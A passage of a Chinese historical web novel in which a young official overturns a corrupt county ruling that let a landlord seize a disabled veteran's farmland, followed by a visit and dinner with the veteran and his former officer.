孟康脸上的得意笑容瞬间凝固,仿佛被人当头浇了一盆冰水,整个人都懵了。 他几乎以为自己听错了,失声叫道。 “不可能!本案人证物证俱全,供词画押无一不备,何来错漏?陆大人,饭可以乱吃,话可不能乱说!” 他急了,是真的急了。这不仅仅是面子问题。 若是这铁案被判为错案,他这个主审官,一个“失察”的罪名是无论如何也跑不掉的! 陆明渊却像是没有看到他那副气急败坏的模样,只是伸出一根手指,轻轻敲了敲桌上的卷宗。 “孟大人,本官问你,卷宗所载,何大勇,乃是我大乾戍边二十年的功勋老卒,可对?” 孟康一愣,不明所以,但还是硬着头皮答道。 “是又如何?合同是他亲手画押,文书姓名,也是他亲自签下!” “那赵家侍卫之伤,可是数百人亲眼所见!” “此案,并非胁迫威逼!” “本官没说此案乃是威迫威逼。 ”陆明渊的眼神陡然变得锐利起来,“本官是说,此案,牵涉军籍!” “军籍”二字一出,孔明华的脸色“唰”的一下变得惨白。 孟康的心也猛地沉了下去,但他兀自强辩道。 “胡说八道!何大勇早已解甲归田,何二柱更是从未入伍,乃是地地道道的民籍,何来牵涉军籍一说!” “呵呵……” 陆明渊发出了一声轻笑,那笑声里充满了不屑。 “孟大人在地方为官多年,难道连我大乾律例中最基本的一条都忘了吗?” 他的声音陡然转冷,如同腊月的寒风,刮得人骨头发疼。 “大乾律,凡军功之臣及其三代子弟,若涉刑案,地方州县无权擅审!” “必须上报所属州府及总兵府,三堂会审,方可定罪!” “你平阳县,不过区区一县衙,有何资格审理此案?” “既然无权审案,那你所谓的铁证如山,所谓的供词画押,在本官看来,不过是一堆废纸!” 陆明渊站起身,字字如刀,句句见血。 “无权审案,却擅自判决。孟大人,这已经不是简单的‘错漏’二字可以形容了。” “这是逾制,是枉法!” “轰!” 孟康只觉得脑子里嗡的一声,整个人如遭雷击,踉跄着后退了两步,脸色煞白如纸。 他怎么忘了这一条! 他怎么会忘了这一条! 这条律例,平日里极少用到,早已被大多数地方官抛之脑后。 他当时一心只想尽快将案子办成铁案,给汪家一个交代,根本就没往这上面想! “不……不对!” 孟康像是抓住了最后一根救命稻草,嘶声力竭地喊道。 “律法规定,是军功之臣或其子弟鸣鼓申冤,州府才会受理!何家并未申冤,本县为何不能审?” “鸣鼓申冤?” 陆明渊看着他,眼神中那丝怜悯更浓了。 “孟大人,你是不是忘了,何大勇的幼子,今日在温州县衙,向本官叩首鸣冤了。” 他顿了顿,悠悠说道。 “所以,在本官从何家村赶来你这县衙之前,就已经命人快马加鞭,将此案的状纸,一份递呈温州府衙备案,另一份……送去了温州总兵府。” 陆明渊的嘴角,勾起一抹冰冷的弧度。 “也就是说,在你孟大人还在想着如何拖延时间的时候,温州府与总兵府,已经正式立案了。” “现在,孟大人还觉得,你一个平阳知县,能压下这桩案子吗?” “或者说,你觉得你的官威,大得过我温州府,大得过总兵府,大得过……我大乾的律法?” 孟康彻底傻了。 他呆呆地站在那里,嘴巴半张着,却一个字也说不出来。 冷汗如同溪流一般,从他的额角、他的后背疯狂地涌出,瞬间浸透了那身绯色的官袍。 他终于明白了。 从一开始,他就掉进了这个少年挖好的陷阱里。 这个少年根本就没想过要从案卷的细枝末节里找破绽。 他要的,是从根本上,从法理上,彻底推翻这个案子! 他所做的一切,威逼也好,恐吓也罢,都只是在逼自己亮出底牌。 然后用一道自己根本无法逾越的律法,将自己死死地钉在原地。 好深沉的心机,好狠辣的手段! 这哪里是一个十二岁的少年? 那些在官场沉浸数十年的老狐狸,也未必有这番手段! 良久,孟康才找回自己的声音,那声音干涩而嘶哑,充满了难以置信的挫败感。 “你……你究竟想做什么?你初到温州府,不过是来镀金的,最多三五年便能高升。” “为此等小事,得罪汪家,与整个平阳县的官吏为敌,值得吗?” “你就不怕,日后在温州府寸步难行?” “镀金?”陆明渊仿佛听到了什么天大的笑话。 他摇了摇头,缓步走到孟康面前,那双清澈的眸子里,映着孟康惨白的面容。 “孟大人,你错了。本官盛气凌人,从来都看对象。” “你若心中无鬼,为官清正,本官敬你,重你,又怎会与你为难?” 他的声音压得很低,却带着一种令人无法抗拒的威严。 “可你若视百姓如草芥,视律法如无物,与那等豪强劣绅沆瀣一气,欺压良善。” “那么,本官便是盛气凌人,又有何妨?” “此案牵涉军籍,事关为国流血的功臣身后荣辱,兹事体大。” “孟大人,在你考虑本官日后如何自处之前,还是先好好考虑考虑,你自己……该如何了结此事吧。” 说完,陆明渊不再看他一眼,径直转身,向案牍库外走去。 “我们走,回驿站。” 一行人来得如狂风,去得也如骤雨。 转眼间,原本拥挤的院落,便只剩下孟康、孔明华和那两个抖如筛糠的老书吏。 夜风吹过,卷起地上的几片落叶,也吹得孟康浑身一颤,那股刺骨的寒意,仿佛要钻进他的骨髓深处。 “大……大人……” 孔明华凑了上来,声音都在打颤。 “现……现在该如何是好?” 如何是好? 孟康缓缓闭上眼睛,脑海中不断回响着陆明渊最后那几句话。 他知道,自己已经没有选择了。 跟一个不按常理出牌的疯子赌自己的前程? 他不敢。 更何况,这个疯子手里,还握着“律法”。 一旦事情闹到总兵府,那些骄兵悍将可不会跟你讲什么官场规矩,他们只认军功,只认袍泽情义。 到时候,别说他这个知县,便是背后的汪家,也得脱层皮! 孟康猛地睁开眼睛,眼中布满了血丝。 许久,他才从牙缝里,迸出几个字。 “传令下去!” “明日……开堂!” “重审此案!” 第205章 平阳县的天,要变了 当第一缕晨光穿透平阳县衙后院的薄雾,新的一天,来了。 县衙外,早已是人头攒动。 百姓们从四面八方涌来,将衙门口围得水泄不通。 何家状告乡绅赵大富一事,早已在县城里传得沸沸扬扬。 昨日府城同知陆大人亲临县衙,与知县孟大人在案牍库深夜对峙的消息,更是传遍平阳县。 人们议论着,猜测着。 这位年仅十二岁的状元郎,这位传说中被天子亲封的冠文伯。 究竟会如何处置这桩本地豪强欺压功勋老卒的案子? 是会像以往的官员一样,与地方势力同流合污,高高举起,轻轻放下? 还是真能如传说中那般,为民做主,还一个朗朗乾坤? “威——武——” 衙役们冗长的号子声响起,沉重的衙门大门缓缓打开。 百姓们自觉地向两边退开,留出一条通道。 赵大富在一群家丁的簇拥下,大摇大摆地走了进来。 他今日穿了一身崭新的绸缎衣衫,面色红润,顾盼之间,依旧是那副目中无人的嚣张气焰。 在他看来,昨夜陆明渊的手段,不过是雷声大雨点小。 军籍又如何?只要何家拿不出证据,只要自己将契约做得天衣无缝,谁也奈何不了他。 今日重审,不过是走个过场,给那位府城来的小大人一个台阶下罢了。 相比之下,另一边的何二柱则显得形单影只。 他穿着一身打了补丁的粗布衣,黝黑的脸庞上写满了紧张与不安。 公堂之上,气氛肃杀。 孟康面色蜡黄地坐在惊堂木后,头顶那块“明镜高悬”的匾额,此刻在他眼中,充满了无尽的讽刺。 他一夜未眠,眼窝深陷,整个人像是老了十岁。 他的目光不敢去看坐在一旁,神情淡然的陆明渊。 “带人犯,原告上堂!” 孟康有气无力地喊了一声,将手中的令牌扔了下去。 赵大富与何二柱一前一后,跪在了堂下。 孟康定了定神,目光落在何二柱身上,声音沙哑地问道。 “何二柱,你状告赵大富强占你家田产,究竟有何冤屈,从实说来。” “那田契合同,是你父亲何大勇亲手签名画押,当着村正何有为的面儿所签,本知县问你,可有人逼迫?” 他刻意加重了“亲手画押”和“当着村正的面”这几个字。 这是他最后的指望,是这案卷上唯一还能站得住脚的东西。 何二柱闻言,身子一颤,愣了片刻。 他是个老实人,不善言辞,只能实话实说。 “回……回大人,签契约的时候,村正确实在场,也……也的确没人拿刀架在我爹脖子上逼他。” 听到这话,赵大富的嘴角立刻咧开一丝得意的冷笑。 堂下的百姓也发出一阵低低的议论声,许多人脸上都露出了失望的神色。 孟康心中稍安,追问道:“既然无人逼迫,你又何来冤屈?” “可那不对啊!” 何二柱猛地抬起头,憋红了脸,声音也大了起来。 “大人!那契约上写得清清楚楚,若是遭遇大旱天灾,田地颗粒无收,我家才需要减免全部租子!” “若是无钱财减免,方才从良田中抵扣!” “可今年的收成,只是比往年少了三成,撑死了减免三成的租子。” “怎么就……怎么就将我家那十亩活命的良田,全部给吞了去?大人,这不是霸占是什么?” 他的声音里带着哭腔,充满了绝望和不解。 “霸占?” 不等孟康开口,跪在他旁边的赵大富已经不屑地冷笑一声,抢着反驳道。 “何二柱,你可别血口喷人!” “今年平阳县两次遭受倭寇袭扰,流寇过境,你家的田地都被那些天杀的给踏成了烂泥,这难道不是天灾?” “我那十亩良田,到头来一粒粮食都没收到,这难道不算颗粒无收?” 他这番话偷换概念,将人祸说成天灾,顿时让堂下不少人皱起了眉头。 赵大富却不管不顾,越说越是理直气壮。 “至于你说我吞并,更是笑话!好啊,十亩良田,一年的租子是十两银子,对不对?” “我这钱,也不是大风刮来的!是我从钱庄借的!” “我告诉你们,在钱庄借十两银子,一年的利滚利,连本带息就要还四十七两!” “我为了凑这笔钱,把我自家三亩上好的良田,都按五两银子一亩的贱价给卖了!” “如今,我用这四十七两银子,买下你家那十亩被糟蹋过的田,如何算得上霸占?” “这叫合情合理,天经地义!” 赵大富这番话说完,整个公堂内外,一片死寂。 他这一套夹杂着高利贷与市价欺诈的组合拳,打得所有人都晕头转向。 那些淳朴的百姓哪里听过这些门道,只觉得这账算得复杂,但听起来又似乎……有那么点道理? 何二柱更是被他说得瞠目结舌,他只知道自己家没了地,却完全不知道这其中竟有如此多的弯弯绕绕。 他张着嘴,一个字也反驳不出来。 只能绝望地、本能地将求助的目光,投向了那个从始至终都未发一言的少年官员。 整个公堂的目光,也随着何二柱,齐刷刷地落在了陆明渊的身上。 只见陆明渊缓缓放下手中的茶杯,那杯子与桌面碰撞,发出一声清脆的轻响。 他站起身,掸了掸身上那件并无半点灰尘的官袍,缓步从旁听席上走了下来。 他没有看孟康,也没有看何二柱,目光径直落在了赵大富那张得意洋洋的脸上。 “算不上霸占?” 陆明渊的声音很轻,却像一柄冰冷的锥子,瞬间刺穿了公堂上那嘈杂而混乱的气氛。 “本官看你,是无法无天!” 赵大富被他看得心头一跳,但仗着自己背后有人,依旧梗着脖子,不屑地反问道。 “陆同知,我赵大富句句属实,账目分明,不知何处无法无天了?还请大人明示!” “好,本官就让你死个明白。” 陆明渊的眼神陡然变得锐利起来,如同出鞘的利剑。 “其一,利息!你说从钱庄借贷十两,一年要还四十七两?” “本官倒想问问,是平阳县的哪家钱庄,敢定下如此骇人听闻的利息?” 他的声音陡然拔高,回荡在整个公堂。 “我大乾律例,民间借贷,‘一本一利’,年息不得超过五成!” “借十两银子,一年之后,连本带息,最多只需还十五两!” “你这四十七两,是何道理?是你自己昏了头,要去借那印子钱、驴打滚的高利,却要何家来为你偿还这天价的利息?” “我大乾立国百年,从未有过这样的条例!” “其二,地价!” 陆明渊伸出第二根手指,目光如刀锋般刮过赵大富的脸。 “你说你自家良田,五两银子一亩售卖,所以何家的田,也该是这个价,好一个‘你的意愿’!” “本官不妨告诉你,我看过温州府衙门存档的过往田契,温州府境内,一亩上等良田的市价,在十五两银子上下。” “即便是相对贫瘠的平阳县,十年之内,也从未有过低于十两一亩的成交记录!” “你用自己左手倒右手的虚假交易,来强行定义何家田产的价格,将价值百两的田产,折算成区区五十两。” “此等行径,不是欺诈,不是霸占,又是什么?” 陆明渊一番话,字字珠玑,句句如雷! 他没有纠缠于“天灾”还是“人祸”这种可以扯皮的细节。 他是直击要害,将赵大富那套看似精明的算法,批驳得体无完肤! 高利贷! 田地欺诈! 这两顶大帽子扣下来,赵大富脸上的血色“唰”地一下全褪光了。 堂下原本被绕晕的百姓们,此刻也全都恍然大悟,一时间,群情激奋! “原来是这么回事!这赵大富心也太黑了!” “十五两的利息,硬生生说成三十七两!这不是抢劫吗?” “还有地价!把十两一亩的地,硬说成五两,这不是明摆着欺负老实人吗?” “狗官!奸商!” 怒骂声此起彼伏。 赵大富彻底慌了,他没想到这个少年官员竟然对地方上的门道如此清楚。 他色厉内荏地嘶吼道:“你……你胡说!陆同知,你说的都是温州府城的规矩!” “在我们平阳县,利息就是这么算的!良田价格也就是这个行情!” “大人你初来乍到,难道不知道,各地有各地的规矩吗?” 他试图用地方上那套盘根错节的潜规则,来对抗朝廷的律法。 “规矩?” 陆明渊笑了。 他向前踏出一步,整个人的气势在瞬间攀升到了顶点。 “平阳县,亦是我大乾之国土!” “凡我大乾之地,皆需守我大乾之律法!” “规矩?” 他盯着赵大富,一字一顿地说道。 “本官今日同你说的,每一个字,都是我大乾的规矩!” 话音落定,整个公堂,鸦雀无声。 赵大富双腿一软,彻底瘫倒在地,面如死灰。 孟康坐在高堂之上,只觉得一股寒气从脚底直冲天灵盖。 他看着那个站在公堂中央,身形单薄,却仿佛顶天立地的少年。 心中只剩下无尽的恐惧与悔恨。 他知道,平阳县的天,要变了。 第206章 你背后的人,还保不保得住你? 公堂之上,死寂的可怕。 就在这令人窒息的沉默中,陆明渊重新坐下。 他的目光,轻飘飘地落在了孟康的身上。 “孟大人。” “这桩案子,事实已经很清楚了。” “是就此宣判,给何家一个公道。还是……孟大人觉得,案中还有什么疑点,需要本官再帮你参详参详?” 这是何等诛心的话语! “帮你参详参详”。 这分明是在问他孟康,你这知县的位子,还想不想坐了? 你背后的人,还保不保得住你? 孟康的额头上,冷汗瞬间滚落。 他嘴唇哆嗦着,想要开口,却发现自己的喉咙干涩得发不出半点声音。 宣判?如何宣判? 判赵大富罪名成立,就等于当着全县百姓的面,承认自己昨日的判决是徇私枉法,是与奸商同流合污! 可若是不判……他毫不怀疑,眼前这个少年,有的是办法让他连官袍都穿不住! 他正陷入天人交战的绝境,堂外,却陡然传来一声石破天惊的暴喝! “不用判了!” 那声音粗犷、雄浑,充满了金戈铁马的肃杀之气,像是一柄战锤,轰然砸碎了公堂上凝滞的空气! “这案子,我温州总兵府管了!” 话音未落,一个魁梧的身影便已大步流星地闯了进来。 来人约莫三十许,身着一身玄铁鳞甲,腰悬一柄长刀。 他面容黝黑,饱经风霜,一道浅浅的刀疤从眉角划过,更添了几分悍勇之气。 他一踏入公堂,那股子从尸山血海里磨砺出来的煞气,便瞬间充斥了整个空间。 衙役们下意识地握紧了手中的水火棍,却又不敢上前阻拦。 百姓们潮水般向两侧退开,敬畏地看着来人 那人无视了所有人,一双鹰隼般的眼睛在堂内一扫。 最后定格在跪着的何二柱身上,声如洪钟地问道:“何大勇何在?” 何二柱被这气势吓得一哆嗦,下意识地朝陆明渊身后缩了缩。 陆明渊没有回头,只是轻轻地抬了抬手,示意他不必惊慌。 何二柱感受到那份沉稳的力量,深吸一口气,壮着胆子,怯懦地抬起头,答道。 “回……回禀大人,家父卧病在床,无法前来。小人是何大勇之子,何二柱……不知大人是?” 那甲胄大汉听到“卧病在床”四字,眉头猛地一皱,眼中闪过一丝怒意和关切。 他盯着何二柱,沉声道:“我名霍峰!你爹当年在我手下当兵,我是他的百夫长!” “如今,我是温州府参将!” 轰! 霍峰! 温州府参将! 这几个字,比之前的任何变故都更具冲击力! 一个是从五品的武将,竟然为了一个功勋老卒,亲自闯了县衙的公堂! 何二柱瞬间瞪大了眼睛,嘴巴张得能塞下一个鸡蛋。 他爹的……百夫长? 霍峰没有理会众人的震惊。 他向前一步,那铁靴踏在青石板上,发出“铿”的一声脆响。继续说道。 “昨日,我接到温州府同知陆明渊大人亲笔来信。” “言说何大勇,解甲归田后,在乡中受奸人欺辱,赖以为生的田产被人强占!” “我问你,此案可属实?” 他的每一个字,都像是从胸膛里迸发出来的,带着雷霆之威,在公堂之上滚滚回荡。 这一下,所有人的目光,都转向了那个从始至终都云淡风轻的少年官员。 温州府同知,陆明渊! 原来……原来如此! 堂下的百姓们恍然大悟! 他们终于明白,这位年少的陆大人,为何会亲自驾临这小小的平阳县,为何会对一桩看似普通的民事案子如此上心! 他不是心血来潮,更不是为了什么官场倾轧。 他是在为一位功勋老卒,讨还公道! 何二柱激动得热泪盈眶,他猛地朝着霍峰磕了一个响头,声音哽咽地喊道。 “属实!大人!句句属实啊!” 随即,他又猛地转向陆明渊,带着无尽的感激,大声道。 “不过,霍大人,这案子……这案子陆同知已经替家父辨明了冤屈!” “奸人赵大富的阴谋诡计,全被陆大人当堂戳穿!” “我等……我等正等着县尊大人重新定案!” 霍峰听到这番话,这才真正地将目光,落在了陆明渊的身上。 他来时匆忙,只看到一个身着官袍的少年坐在那里,虽气度不凡,却也未曾在意。 此刻听何二柱一说,再联想到信上的落款。 想到那“年仅十二,状元及第,亲封冠文伯”的传闻,霍峰的心头猛地一震。 原来,他就是陆明渊! 霍峰眼中的煞气与倨傲瞬间收敛了许多。 他虽是武将,却也知道,眼前这位,不仅是他的上官,更是天子门生,是连总兵大人都要礼敬三分的人物。 他快步走到陆明渊面前,收起了那份军中的粗犷,郑重地一抱拳,沉声道。 “末将温州府参将霍峰,见过陆同知!” “末将奉总兵大人之命,前来探望何大勇,听闻他在此有冤屈,一时情急,擅闯公堂,还望陆同知不要介意!” 他这番话,既是自报家门,也表明了来意,更是给了陆明渊天大的面子。 他不是自己要来,是奉了总兵大人的命令。 这代表着,何大勇的事,整个温州卫所都在看着! 陆明渊缓缓站起身,对着这位悍将微微颔首,摆了摆手,道。 “霍参将言重了。为袍泽故旧讨还公道,乃是人之常情,何来擅闯之说。” “本官还要多谢霍参将,为这公堂之上,又添了一份军威,一份正气。” 说完,陆明渊不再看他,而是看向孟康。 “孟知县。” 陆明渊的声音陡然转冷。 “此案的利害关系,本官昨夜已经与你说明。” “案中的种种错漏,本官今日也已当堂辩驳清楚。” 他向前踏出一步,整个人的气势在瞬间攀升到了顶点,那绯色的官袍无风自动,猎猎作响。 “如今,霍参将也在这里。” “你,要如何断案?” “且当着霍参将的面儿,当着这满堂百姓的面儿。” “给何大勇一家,给那些为我大乾流过血的将士们,一个交代!” “一个交代!” 这四个字,如同一座无形的大山,轰然压在了孟康的身上! 完了! 彻底完了! 孟康只觉得眼前一黑,差点从官椅上栽下来。 他看看堂下目光如剑的陆明渊,又看看旁边面沉似水、手按刀柄的霍峰。 再听听堂外那已经压抑不住的,如同闷雷般的议论声和怒骂声,他知道,自己已经没有任何退路。 什么汪家,什么靠山。 在朝廷律法和军方怒火的双重碾压之下,都成了齑粉! 他颤抖着手,抓起了那枚代表着判决的令牌,嘶哑着嗓子,几乎是哭喊着叫道: “本……本县宣判!” “赵大富,巧立名目,以高利盘剥、虚报地价等手段,行欺诈霸占之实,罪证确凿!” “其与何大勇所签订之田契,乃是建立在欺瞒哄骗之上,即刻作废!” “赵大富即刻归还何家十亩良田!不得有误!” “至于那所谓的租子……因契约作废,双方……双方另择吉日,在本县见证下,重……重新签订!” 说完这番话,他手中的令牌“啪”的一声掉落在地,发出清脆的响声。 整个公堂内外,先是一片死寂,随即,爆发出山呼海啸般的欢呼! “青天大老爷!” “陆大人英明!” “赢了!何二哥,你们家的地保住了!” 何二柱再也支撑不住,双腿一软,跪倒在地。 他朝着陆明渊的方向,用尽全身的力气,磕了一个又一个响头。 第207章 给我大乾残退将士,一个交代! 陆明渊缓步走了过去,将何二柱搀扶起来。 “起来吧。” “本官所为,皆是分内之事,当不得如此大礼。” 他扶着何二柱站稳,目光却越过他,扫向了堂外那些激动的百姓,扫向了身旁这位一身煞气的参将霍峰。 他的声音陡然拔高了些许,字字清晰,如珠落玉盘。 “功臣不应受辱,英雄不该流泪。” 短短八个字,仿佛带着千钧之力,让整个喧闹的县衙内外,瞬间安静了下来。 无数道目光汇聚在这位年少的同知大人身上,那身绯色的官袍,在此刻显得无比耀眼。 “我大乾的将士,在北境流血,在东海拼命,为的,是身后这片土地的安宁,是家中父老的笑颜。” “他们解甲归田,不是为了回来继续受人欺凌,任人鱼肉的!” 陆明渊的目光,最终落回到自己的身上,语气中带上了一丝凛然的自省。 “若是论起来,我陆明渊身为温州府同知,依律,有清理军籍、抚绥兵民之责。” “何老英雄在平阳县受此奇耻大辱,这案子,追根究底,是我陆明渊失察才是!” 此言一出,满堂皆惊。 谁都没想到,这位大获全胜、声望达到顶点的陆大人,非但没有居功自傲,反而当众自承其过! 这是何等的胸襟与担当! 孟康瘫在官椅上,听到这番话,更是面如死灰。 陆明渊这是在告诉所有人,这件事,还没完。 他孟康的失职,他陆明渊记下了! 霍峰看向陆明渊的眼神,也彻底变了。 那其中,除了之前的敬重,更多了几分发自内心的钦佩。 他是个粗人,不懂什么之乎者也。 但他知道,眼前这个少年,是个真正把他们这些丘八当人看的好官! 他不再多言,蒲扇般的大手重重地按在了何二柱的肩膀上,那力道让何二柱一个激灵。 “带我去见你爹!” 霍峰的声音依旧洪亮,却多了一丝压抑不住的急切。 “是,是!霍大人!” 何二柱连忙擦干眼泪,像是找到了主心骨,他先是感激地看了一眼陆明渊,然后便在前引路。 “陆大人,霍大人,这边请,家就在村西头。” 一行人就此离开了县衙。 从平阳县城到何家村,不过七八里路。 官道还算平整,可越往村子里走,道路便越是泥泞。 深秋的寒风卷起枯叶,打着旋儿,拍在人的脸上,带着萧瑟的凉意。 霍峰一路沉默,铁甲随着他的步伐发出沉闷的声音。 陆明渊亦是无话,他骑在马上,目光所及,是连片的荒芜田地和稀稀落落的茅草屋。 偶尔有几个面黄肌瘦的村民,远远地看见他们这一行官差兵将,慌忙躲进了屋里 终于,何二柱在一座低矮破败的院落前停下了脚步。 那院墙是用泥土夯成的,早已被风雨侵蚀得处处是豁口,仿佛轻轻一推就会坍塌。 院门,只是两扇用柳条绑着的破木板。 霍峰看着眼前这一幕,脸上的肌肉狠狠地抽动了一下。 他那双在尸山血海中都未曾眨过的眼睛,此刻,竟是微微泛红。 “这……这就是何大勇的家?” 他的声音里,带着一丝难以置信的颤抖。 “是……是……” 何二柱低着头,羞愧地不敢看他。 霍峰的怒火,在这一刻轰然爆发! 他猛地一拳砸在旁边的土墙上,那本就摇摇欲坠的墙体,竟被他砸出了一个窟窿,泥土簌簌落下。 “混账!” 他怒吼道,声震四野。 “朝廷赏赐的三十两抚恤银!外加上等功换来的十亩良田!就让他住这种狗窝?” “平阳县的这些官府,都是吃屎的吗?一群蠹虫!” 何二柱被这雷霆之怒吓得一哆嗦,哭诉道。 “大人息怒……爹他……他伤了腿,干不了重活。” “家里只有我一个男丁,要伺候他,要下地,实在是……实在是撑不起这个家啊……” 霍峰胸膛剧烈地起伏着,他知道何二柱说的是实话,可他心中的怒火与愧疚,却无处发泄。 “进去……带我进去!” 他几乎是从牙缝里挤出这几个字。 何二柱推开那两扇吱呀作响的破门,一股混合着草药、霉味与贫穷的气息扑面而来。 屋里光线昏暗,几乎没什么像样的家具。 靠墙的一张土炕上,躺着一个形容枯槁的男人,身上盖着一床满是补丁、已经看不出本来颜色的薄被。 听到动静,那男人艰难地撑起上半身。 当他的目光落在门口那个身披玄甲、魁梧如山的身影上时,浑浊的眼睛里,瞬间爆发出了一道骇人的精光! “百……百夫长?” 那声音沙哑干涩,仿佛两块砂纸在摩擦。 他挣扎着,就要翻身下炕行礼。 “何,何大勇……参见百夫长!” 然而,他只有一条腿是完好的,另一条腿从膝盖以下空空如也。 身子刚一挪动,便失去了平衡,直挺挺地从炕上栽了下来! “大哥!” 霍峰发出一声悲吼,三步并作两步冲了过去,在那人摔到地上之前,一把将他抄进了怀里。 霍峰双眼通红,虎目含泪,他将何大勇轻轻地放回炕上。 看着他那条空荡荡的裤管,看着他那张被病痛和饥饿折磨得脱了相的脸,一股滔天的杀意再也抑制不住! “锵”的一声! 腰间的长刀应声出鞘半尺,凛冽的寒光瞬间照亮了这间昏暗的屋子! “赵大富!” 霍峰咬牙切齿,一字一顿地吼道。 “老子现在就去剁了那个狗娘养的杂碎!给你出气!” “不要!” 何大勇见状,大惊失色,也不知哪里来的力气,一只手死死地抓住了霍峰的手腕。 “百夫长!不可啊!” 他急切地喘息着。 “你杀了他,是痛快了!可我们一家老小呢?” “赵大富死了,还有赵二富,赵三富!这村里姓赵的是大族!我们……我们还要在这里活下去啊!” “你走了,他们会把我们一家生吞活剥了的!” 这番话,如同一盆冰水,浇在了霍峰的头顶。 他握着刀柄的手在微微颤抖,不是因为恐惧,而是因为一种更深的悲愤与无力。 是啊,他可以凭着一腔血勇,快意恩仇。 可然后呢? 他能护得了何大勇一时,护不了一世。 这吃人的世道,不会因为死了一个赵大富就改变。 “大勇哥……” 霍峰的声音哽咽了,他一个七尺高的铁血汉子,此刻竟像个孩子一样,脸上写满了痛苦。 “是我对不住你……是我害了你啊……” 他指着何大勇的断腿,悲声道。 “当年在台州城外,要不是你替我挡了那一刀,现在躺在坟里的就是我霍峰!” “我欠你一条命!如今你解甲归田,却过得猪狗不如,连田地都保不住!” “我若不能替你讨回这个公道,我霍峰……还算个人吗?!” 往事如烟,却又历历在目。 何大勇看着他痛苦的样子,眼中也泛起泪光,他拍了拍霍峰的手背,沙哑道。 “百夫长,这不怪你……战场上,生死有命……我何大勇,从没后悔过。” 就在这时,一直站在一旁的何二柱,小心翼翼地捧着一张泛黄的纸走了过来。 “爹,霍大人……你们看。” 他将那张刚刚从县衙取回的田契,交到了何大勇的手中。 “爹,案子……案子赢了!” 何二柱的声音带着哭腔,却充满了喜悦。 “是陆大人!是那位从温州府来的陆同知!他帮我们家申冤了!” “县太爷当堂宣判,赵大富那狗日的契约是骗人的,不算数!这十亩地,还是我们家的!” “县太爷还说……还说要择日,让他当着面,跟我们重签租田的契约!” 何大勇枯瘦的手颤抖着,抚摸着那张失而复得的田契,双目含泪。 他缓缓抬起头,浑浊的目光穿过昏暗的屋子,落在了那个从进屋起便一直沉默不语,静静站在角落里的少年官员身上。 何大勇挣扎着,在霍峰的搀扶下,对着陆明渊的方向,深深地,深深地作了一个揖。 “草民何大勇,谢过陆大人!” 他的声音不大,却透着一股劫后余生的郑重。 “草民……谢过陆大人,不远万里,从温州府赶来,为我这残废老兵做主!” 他抬起头,眼中是刻骨的感激。 “若不是大人,我们一家老小,恐怕……恐怕真的过不了这个冬天了。” “您……是我们何家上下的救命恩人呐!” 这一声“救命恩人”,比之前公堂外那山呼海啸般的“青天大老爷”,更让陆明渊为之动容。 他终于开口,声音温和而坚定。 “老英雄,言重了。” “你为国流血,便不能再让你流泪。” “这案子说到底,还是我有失察之责!” “竟让温州府治下,有如此贪官污吏,鱼肉乡里!” “此案,我一定会给你一个交代,给我大乾残退将士,一个交代!” 第208章 功臣不应受辱,英雄不该流泪 “好了,大哥,别拜了,陆大人受不起。” 霍峰眼眶通红,强行按住了何大勇的肩膀,转头对陆明渊道,“陆大人,你看……” 他的意思是,天色已晚,此间事了,是否该回城了。 然而,何大勇却挣开了他的手,用那只仅存的脚在地上站稳,脸上带着一种近乎执拗的恳切。 “陆大人,霍大人,万万不可就此离去!” 他看向自己那同样瘦弱的妻子。 “老婆子,去,把那只老母鸡给杀了!家里还有半坛子去年的浊酒,都拿出来!” 何二柱的母亲闻言,浑身一颤,脸上闪过一丝明显的心疼和不舍。 那只鸡,是家里最后一点活物。 她看着丈夫那决绝的眼神,又看了看站在屋里的少年官员,以及那位威风凛凛的将军。 她明白,今天这份恩情,比什么都重。 妇人咬了咬牙,对着陆明渊和霍峰局促地福了一福,转身走进了院子。 很快,院里便传来一阵鸡飞狗跳的骚动,以及一声凄厉的鸡鸣,最后,一切归于沉寂。 何二柱也反应了过来,连忙道。 “对,对!大人,将军!你们一定要留下来吃了饭再走!不然……不然我们一家心里不安啊!” 陆明渊看着这一家人的神情。 他知道,若是不应下这顿饭,反而会让他们觉得,自己看不起他们这方陋室,这份薄礼。 他微微一笑,点了点头:“好,那今日,本官就叨扰了。” 见他应下,何大勇一家人脸上顿时露出了发自内心的笑容。 夜色渐深,寒风在破旧的窗棂外呼啸。 屋里,一张歪歪扭扭的矮桌上,却点起了一盏昏黄的油灯。 一盘热气腾腾的鸡肉被摆在了正中央,除此之外,便是一碟黑乎乎的咸菜,几碗糙米饭。 何二柱的母亲和媳妇,局促地站在一旁,不敢上桌。 陆明渊起身,对着那妇人温和一揖。 “夫人辛苦,请一同入座吧。” 这一举动,让何家人又是手足无措,又是感动莫动。 在他们的世界里,官就是天,哪有天和地一同吃饭的道理。 最后,在霍峰大大咧咧的招呼下,一家人总算围着桌子坐了下来。 何大勇颤巍巍地举起手中的粗瓷碗,里面盛满了浑浊的米酒。 “陆大人,草民……草民嘴笨,不知该说什么。” 他眼眶泛红,声音哽咽。 “这第一碗酒,草民敬您!大恩不言谢,往后,我何家上下,给您立长生牌位!” 说罢,他便要一饮而尽。 陆明渊连忙伸手按住他的手腕,自己也端起酒碗,站起身来。 “老英雄,使不得。” “今日这顿酒,不是你敬我,是我敬你,敬霍将军,敬天下所有为国征战的将士。” 他目光清澈,环视二人。 “我大乾能有今日之安宁,靠的不是我们这些舞文弄墨的文臣,而是你们这些在沙场上用命换来的。” “我敬你们!” 言罢,他竟是先干为敬,将一碗辛辣的浊酒尽数饮下。 一股火线从喉咙烧到胃里,陆明渊的脸颊瞬间染上了一层红晕,但他眼神依旧明亮。 霍峰见状,只觉得胸中一股热血直冲头顶,他大吼一声。 “好!陆同知!说得好!” 他一把抓过酒坛,给自己的碗倒得满满当当,又给何大勇满上,大声道。 “何大哥!陆大人把话说到咱们心坎里了!为了这话,咱们也干了!” “干!” 何大勇亦是豪情万丈,与霍峰一同将碗中酒一饮而尽。 三只酒碗重重地磕在桌上,发出沉闷的声响。 气氛,在这一刻被彻底点燃。 霍峰撕下一个鸡腿,放进何大勇的碗里,又撕下一个,不由分说地塞到陆明渊碗中。 “陆大人,别客气!这可是我嫂子拿手绝活!” 酒过三巡,话匣子便彻底打开了。 霍峰与何大勇,这两个在尸山血海里滚出来的汉子,开始追忆起那些峥嵘岁月。 他们说起了北境的风雪,能把人的眉毛都冻成冰坨子。 说起了第一次上战场时,吓得尿了裤子的新兵蛋子。 说起了台州城外那场惨烈的大战,三天三夜,尸体堆得比城墙还高。 